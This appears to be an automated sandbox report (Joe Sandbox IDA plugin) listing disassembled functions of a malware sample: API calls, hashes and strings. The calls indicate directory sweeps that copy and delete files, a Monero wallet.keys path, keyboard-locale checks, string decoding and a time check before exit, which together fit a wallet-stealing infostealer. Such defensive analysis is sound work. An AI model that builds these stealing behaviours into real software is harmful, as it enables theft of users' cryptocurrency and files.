Opcode ID: 87b8a36b98a39d70953f1c83227a469982ae7670985f7b7bf41fa06ed8a54e7f
Instruction ID: 156b4273d17483d64a060957550030ee559a37096c7a6fbcdb92c0fe249074c6
Opcode Fuzzy Hash: 87b8a36b98a39d70953f1c83227a469982ae7670985f7b7bf41fa06ed8a54e7f
Instruction Fuzzy Hash: 1CB176719401089BDB24FF60DC96FEE7379AFA4305F8185A8E40A97151EF315B4ACF92

Function 001316D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0015510C,?,?,?,001551B4,?,?,00000000,?,00000000), ref: 00131923
StrCmpCA.SHLWAPI(?,0015525C), ref: 00131973
StrCmpCA.SHLWAPI(?,00155304), ref: 00131989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00131D40
DeleteFileA.KERNEL32(00000000), ref: 00131DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00131E20
FindClose.KERNEL32(000000FF), ref: 00131E32

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Strings

\*.*, xrefs: 001317F1

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 90eb4d1f6350af746148cfbf964be5e92e43f810bd1196c58a513ec0a4c6e310
Instruction ID: 77f36e5fab45c4b7c807722b35374e508e3612bf2731e69988bf998e08b523cf
Opcode Fuzzy Hash: 90eb4d1f6350af746148cfbf964be5e92e43f810bd1196c58a513ec0a4c6e310
Instruction Fuzzy Hash: 8D125871990119ABEB15FB60CC96EED733CEF64305F824199B50A660A1EF306F89CF91

Function 0013DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00150C2E), ref: 0013DE5E
StrCmpCA.SHLWAPI(?,001514C8), ref: 0013DEAE
StrCmpCA.SHLWAPI(?,001514CC), ref: 0013DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0013E3E0
FindClose.KERNEL32(000000FF), ref: 0013E3F2

Strings

\*.*, xrefs: 0013DE26

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: f4c08b2f6a9e5d6915bd04a1bffd0c64790685594a182fdd6681a4cb8880e721
Instruction ID: a6c70aea99d2e46eb61b16906e527c5ba564741102837ddedfef5a5d049a2302
Opcode Fuzzy Hash: f4c08b2f6a9e5d6915bd04a1bffd0c64790685594a182fdd6681a4cb8880e721
Instruction Fuzzy Hash: 5AF1C2718541199AEB25EB60DC95EEE7338FF64305FC241D9A41A620A1EF306F8ACF52

Function 0013DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001514B0,00150C2A), ref: 0013DAEB
StrCmpCA.SHLWAPI(?,001514B4), ref: 0013DB33
StrCmpCA.SHLWAPI(?,001514B8), ref: 0013DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0013DDCC
FindClose.KERNEL32(000000FF), ref: 0013DDDE

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: cb4845a1a2769cbc2eb725be01425de2217e035f880ec39ab74b5a8adfd8f528
Instruction ID: 42196aa51eacb33f8ae1dc0b5e9d9955cd8286d1a88c3022628ee9d9149588b3
Opcode Fuzzy Hash: cb4845a1a2769cbc2eb725be01425de2217e035f880ec39ab74b5a8adfd8f528
Instruction Fuzzy Hash: E8917672940104ABDB14FBB0EC569ED737DAFA4305F818668F80A96191EF349B4DCB93

Function 004F8E2A Relevance: 11.7, Strings: 8, Instructions: 1660COMMON

Download Yara Rule

Strings

kCq}, xrefs: 004F9086
KVW, xrefs: 004F9937
s?_, xrefs: 004F9D8B
/4a, xrefs: 004F9338
a}, xrefs: 004F97FE
L,tw, xrefs: 004F9C51
Y5;_, xrefs: 004F9259
|, xrefs: 004F922B

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /4a$L,tw$Y5;_$kCq}$s?_$KVW$a}$|
API String ID: 0-459462844
Opcode ID: 09f597461a65a1ffb891aee149d95ec33f16de602db645bef53b32f7b9c4e7f4
Instruction ID: c3544d63376764c16b16cec25c9109492b47807488fcfc5ebcec2a82e182c456
Opcode Fuzzy Hash: 09f597461a65a1ffb891aee149d95ec33f16de602db645bef53b32f7b9c4e7f4
Instruction Fuzzy Hash: 12B229F3A0C2149FE3046E2DEC8567AFBE9EF94720F16463EEAC5C3744E93558018696

Function 004FFC28 Relevance: 11.6, Strings: 8, Instructions: 1606COMMON

Download Yara Rule

Strings

3"kW, xrefs: 00500C78
TO_&, xrefs: 00500C1C
y0t, xrefs: 00500D6D
d~~, xrefs: 004FFD87
'/o~, xrefs: 004FFE98
g$j, xrefs: 004FFFB5
z0t, xrefs: 00500D68
?I}', xrefs: 00500160

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '/o~$3"kW$?I}'$TO_&$d~~$g$j$y0t$z0t
API String ID: 0-793602160
Opcode ID: 00404fcd1267f3e561f3367b606a71042534d69e5f192326a5102d94425b0c97
Instruction ID: ceea04f84da1ae57fb4eaac02ab10fe1c2392d0ace11d82676df1c88e3676e77
Opcode Fuzzy Hash: 00404fcd1267f3e561f3367b606a71042534d69e5f192326a5102d94425b0c97
Instruction Fuzzy Hash: 9CB2F7F360C2049FE304AE2DEC8577ABBE9EF94720F1A453DE6C4C7744EA3598058696

Function 00147B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

GetKeyboardLayoutList.USER32(00000000,00000000,001505AF), ref: 00147BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00147BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00147C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00147C62
LocalFree.KERNEL32(00000000), ref: 00147D22

Strings

/ , xrefs: 00147C7F

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 73034a70f9d72cabcc3f3ad586f78b5e7961fd19ac02c49ac1989a0244df6585
Instruction ID: 8f266eb4b3acf34f168f39029cc294c1954d6148893de05b3cedc0a1ae6c0d3c
Opcode Fuzzy Hash: 73034a70f9d72cabcc3f3ad586f78b5e7961fd19ac02c49ac1989a0244df6585
Instruction Fuzzy Hash: 0E418E71940218ABDB24DF94DC99BEEB378FF58701F6041D9E409621A0DB342F85CFA1

Function 00508179 Relevance: 10.4, Strings: 7, Instructions: 1669COMMON

Download Yara Rule

Strings

#ign, xrefs: 00508430
Htw~, xrefs: 005081F5
oI}, xrefs: 005083B1
!q_, xrefs: 005089A1
Co}, xrefs: 0050944E
r!my, xrefs: 0050831B
*z), xrefs: 005088FB

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !q_$#ign$*z)$Co}$Htw~$oI}$r!my
API String ID: 0-641420045
Opcode ID: 984e36127ccb1973385178b7806184a78a04cb11f4c5b248469dca2ea9cd132b
Instruction ID: a2cda7dae0ce6ffb1e06567f193560054c749dbd3f6e199dc69b31e7f3aa60fa
Opcode Fuzzy Hash: 984e36127ccb1973385178b7806184a78a04cb11f4c5b248469dca2ea9cd132b
Instruction Fuzzy Hash: E2B2F9F360C2049FE3046E2DEC8567AFBE5EF94720F1A463DE6C5C7744EA3598018696

Function 0050EE3E Relevance: 10.4, Strings: 7, Instructions: 1651COMMON

Download Yara Rule

Strings

eb)[, xrefs: 0050F4B1
=}, xrefs: 0050F668
zPe, xrefs: 0050F246
l '}, xrefs: 0050FE20
Yf|~, xrefs: 0050FB87
fk?, xrefs: 0050F6AF
-_~, xrefs: 0050FE0D

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Yf|~$eb)[$fk?$l '}$-_~$=}$zPe
API String ID: 0-643601056
Opcode ID: 111012089001c0cb4a7fcf494ec8c56f37c63995151c0d436de0e3f989031872
Instruction ID: 118516986f1b8b4fccc0542f08e284d7f99ae6f45efb46328506e4041e17b001
Opcode Fuzzy Hash: 111012089001c0cb4a7fcf494ec8c56f37c63995151c0d436de0e3f989031872
Instruction Fuzzy Hash: 20B206F3A08214AFD314AE2DEC8577ABBE9EF94720F16493DEAC4C3744E53598058693

Function 0013E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00150D73), ref: 0013E4A2
StrCmpCA.SHLWAPI(?,001514F8), ref: 0013E4F2
StrCmpCA.SHLWAPI(?,001514FC), ref: 0013E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0013EBDF

Strings

\*.*, xrefs: 0013E44D

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 027f4cd9ff394134a2cd4d7ef35d34b10a120377abd63c1527606b6d1c525ac3
Instruction ID: cc85c2c79e37e4d896b106ea72ff140988f8f9c485f1f640651308a26a7dc47b
Opcode Fuzzy Hash: 027f4cd9ff394134a2cd4d7ef35d34b10a120377abd63c1527606b6d1c525ac3
Instruction Fuzzy Hash: 9312AA71990118ABEB15FB70DC96EED7338AF64305FC245A8B50A960A1EF305F49CF92

Function 0013C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0013C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0013C87C
lstrcat.KERNEL32(?,00150B46), ref: 0013C943
lstrcat.KERNEL32(?,00150B47), ref: 0013C957
lstrcat.KERNEL32(?,00150B4E), ref: 0013C978

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: e58604d1fd8d519bc68302d5aa22c1e2f6504d7208df95a88d4f0b2e66414b7b
Instruction ID: be562897d5c54c16543bf3a1f757c0c03562e50b463ff889ed826c74c9446fad
Opcode Fuzzy Hash: e58604d1fd8d519bc68302d5aa22c1e2f6504d7208df95a88d4f0b2e66414b7b
Instruction Fuzzy Hash: 2341407590421ADFDB20DFA4DD89BFEF7B8BB88705F1041A8E509B6280D7745A84CF91

Function 00146920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0014696C
sscanf.NTDLL ref: 00146999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001469B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001469C0
ExitProcess.KERNEL32 ref: 001469DA

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

